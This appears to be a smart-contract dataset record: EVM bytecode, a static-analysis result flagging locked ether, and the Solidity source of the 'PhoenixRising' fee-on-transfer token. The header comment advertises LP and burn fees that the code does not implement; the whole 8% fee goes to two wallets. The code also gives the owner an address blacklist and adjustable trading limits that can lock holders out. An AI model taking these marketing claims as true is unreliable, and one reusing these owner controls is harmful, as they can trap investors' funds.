ffffffffffffffffffffffffffffffffff16148061118a575061118981610e3f565b5b6111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123eb6021913960400191505060405180910390fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600760019054906101000a900460ff1681565b600061125861125d565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561131e5780601f106112f35761010080835404028352916020019161131e565b820191906000526020600020905b81548152906001019060200180831161130157829003601f168201915b5050505050905090565b60003373ffffffffffffffffffffffffffffffffffffffff1661134961125d565b73ffffffffffffffffffffffffffffffffffffffff161480611370575061136f33610e3f565b5b6113c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123eb6021913960400191505060405180910390fd5b6113cf8383612043565b6001905092915050565b60006113e36117da565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6114b46114ae6117da565b83611e6c565b60019050919050565b600061159d6114ca6117da565b84611598856040518060400160405280601e81526020017f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f0000815250600260006115116117da565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d249092919063ffffffff16565b6117e2565b6001905092915050565b60006115bb6115b46117da565b8484611a13565b6001905092915050565b333373ffffffffffffffffffffffffffffffffffffffff166115e561125d565b73ffffffffffffffffffffffffffffffffffffffff16148061160c575061160b81610e3f565b5b611661576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806123eb6021913960400191505060405180910390fd5b6000600760016101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61170e6117da565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6117d781612237565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611885576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f617070726f76652066726f6d20746865207a65726f206164647265737300000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f617070726f766520746f20746865207a65726f2061646472657373000000000081525060200191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ab6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f7472616e736665722066726f6d20746865207a65726f2061646472657373000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b59576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f7472616e7366657220746f20746865207a65726f20616464726573730000000081525060200191505060405180910390fd5b611be2816040518060400160405280601f81526020017f7472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d249092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7781600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611dd1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d96578082015181840152602081019050611d7b565b50505050905090810190601f168015611dc35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611e62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600760019054906101000a900460ff1615611e8657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f6d696e7420746f20746865207a65726f2061646472657373000000000000000081525060200191505060405180910390fd5b611f3e81600454611de490919063ffffffff16565b600481905550611f9681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f6275726e2066726f6d20746865207a65726f206164647265737300000000000081525060200191505060405180910390fd5b61216f816040518060400160405280601b81526020017f6275726e20616d6f756e7420657863656564732062616c616e63650000000000815250600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d249092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121c78160045461237a90919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156122bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806123c56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006123bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d24565b90509291505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737363616c6c6572206973206e6f7420746865206f776e6572206f72206b65657065727472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c614b002256b66918d3ce5dcd937762880a6cfceaa555970f31092780fb308764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,054 |
0x9F623Cf9F6e9A18487166ff906aEB7f8c3689A03
|
/*
🔥 Phoenix Rising 🔥
Phoenix rising is a bird meta alpha predator
The only goal is to burn the floor and keep it rising
While taking down its soaring prey from above
One thing about the phoenix is it will always rise from the dead.
LOCKED
RENOUNCED
100% CIRCULATING
NO DEV/TEAM TOKENS
BUYS & SELLS
+ 2% Marketing
+ 2% Dev
+ 2% LP
+ 2% Burn
Welcome to Phoenix Rising!
https://t.me/PhoenixRisingEntry
https://twitter.com/PhoenixRiseETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PhoenixRising is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100000000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _Fees = 8;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "PhoenixRising";
string private constant _symbol = "PHOENIX";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 15000000000 * 10**9;
uint256 private _maxWalletAmount = 15000000000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _Fees);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a3578063d94160e0146104b8578063dd62ed3e146104e8578063f42938901461052e57600080fd5b8063b515566a14610443578063c024666814610463578063c0a904a21461048357600080fd5b8063715018a61461038057806381bfdcca1461039557806389f425e7146103b55780638da5cb5b146103d557806395d89b41146103f3578063a9059cbb1461042357600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102f05780635932ead114610320578063677daa571461034057806370a082311461036057600080fd5b8063313ce5671461028757806349bd5a5e146102a357806351bc3c85146102db57600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f957806318160ddd1461022957806323b872dd14610245578063273123b71461026557600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600d81526c50686f656e6978526973696e6760981b60208201525b6040516101b19190611d09565b34801561020557600080fd5b50610219610214366004611b9a565b610543565b60405190151581526020016101b1565b34801561023557600080fd5b50683635c9adc5dea000006101a7565b34801561025157600080fd5b50610219610260366004611b2d565b61055a565b34801561027157600080fd5b50610285610280366004611abd565b6105c3565b005b34801561029357600080fd5b50604051600981526020016101b1565b3480156102af57600080fd5b506011546102c3906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e757600080fd5b50610285610617565b3480156102fc57600080fd5b5061021961030b366004611abd565b60056020526000908152604090205460ff1681565b34801561032c57600080fd5b5061028561033b366004611c8c565b610650565b34801561034c57600080fd5b5061028561035b366004611cc4565b610698565b34801561036c57600080fd5b506101a761037b366004611abd565b6106c7565b34801561038c57600080fd5b506102856106e9565b3480156103a157600080fd5b506102856103b0366004611cc4565b61075d565b3480156103c157600080fd5b506102856103d0366004611cc4565b61078c565b3480156103e157600080fd5b506000546001600160a01b03166102c3565b3480156103ff57600080fd5b506040805180820190915260078152660a0909e8a9c92b60cb1b60208201526101ec565b34801561042f57600080fd5b5061021961043e366004611b9a565b6107bb565b34801561044f57600080fd5b5061028561045e366004611bc5565b6107c8565b34801561046f57600080fd5b5061028561047e366004611b6d565b61086c565b34801561048f57600080fd5b5061028561049e366004611b6d565b6108c1565b3480156104af57600080fd5b50610285610916565b3480156104c457600080fd5b506102196104d3366004611abd565b60066020526000908152604090205460ff1681565b3480156104f457600080fd5b506101a7610503366004611af5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053a57600080fd5b50610285610d01565b6000610550338484610d2b565b5060015b92915050565b6000610567848484610e4f565b6105b984336105b485604051806060016040528060288152602001611eda602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611295565b610d2b565b5060019392505050565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016105ed90611d5c565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063757600080fd5b6000610642306106c7565b905061064d816112cf565b50565b6000546001600160a01b0316331461067a5760405162461bcd60e51b81526004016105ed90611d5c565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c25760405162461bcd60e51b81526004016105ed90611d5c565b601255565b6001600160a01b03811660009081526002602052604081205461055490611474565b6000546001600160a01b031633146107135760405162461bcd60e51b81526004016105ed90611d5c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107875760405162461bcd60e51b81526004016105ed90611d5c565b601355565b6000546001600160a01b031633146107b65760405162461bcd60e51b81526004016105ed90611d5c565b600b55565b6000610550338484610e4f565b6000546001600160a01b031633146107f25760405162461bcd60e51b81526004016105ed90611d5c565b60005b81518110156108685760016007600084848151811061082457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061086081611e6f565b9150506107f5565b5050565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105ed90611d5c565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016105ed90611d5c565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109405760405162461bcd60e51b81526004016105ed90611d5c565b601154600160a01b900460ff161561099a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105ed565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d73082683635c9adc5dea00000610d2b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a1057600080fd5b505afa158015610a24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a489190611ad9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9057600080fd5b505afa158015610aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac89190611ad9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b1057600080fd5b505af1158015610b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b489190611ad9565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610bac816106c7565b600080610bc16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c2457600080fd5b505af1158015610c38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c5d9190611cdc565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc957600080fd5b505af1158015610cdd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108689190611ca8565b600e546001600160a01b0316336001600160a01b031614610d2157600080fd5b4761064d816114f8565b6001600160a01b038316610d8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610dee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610f155760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b80610f1f846106c7565b1015610f7c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105ed565b6000546001600160a01b03848116911614801590610fa857506000546001600160a01b03838116911614155b15611285576001600160a01b03831660009081526007602052604090205460ff16158015610fef57506001600160a01b03821660009081526007602052604090205460ff16155b610ff857600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061105157506011546001600160a01b03848116911614801561105157506001600160a01b03821660009081526006602052604090205460ff16155b156110be576012548111156110be5760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105ed565b6001600160a01b03821660009081526006602052604090205460ff1661115757601354816110eb846106c7565b6110f59190611e01565b11156111575760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105ed565b6011546001600160a01b03848116911614801561118257506010546001600160a01b03838116911614155b80156111a757506001600160a01b03821660009081526005602052604090205460ff16155b80156111bc5750601154600160b81b900460ff165b1561120a576001600160a01b03821660009081526008602052604090205442116111e557600080fd5b6111f042603c611e01565b6001600160a01b0383166000908152600860205260409020555b6000611215306106c7565b601154909150600160a81b900460ff1615801561124057506011546001600160a01b03858116911614155b80156112555750601154600160b01b900460ff165b80156112635750600b548110155b1561128357611271816112cf565b47801561128157611281476114f8565b505b505b61129083838361157d565b505050565b600081848411156112b95760405162461bcd60e51b81526004016105ed9190611d09565b5060006112c68486611e58565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137957600080fd5b505afa15801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b19190611ad9565b816001815181106113d257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f89130911684610d2b565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611431908590600090869030904290600401611d91565b600060405180830381600087803b15801561144b57600080fd5b505af115801561145f573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b6000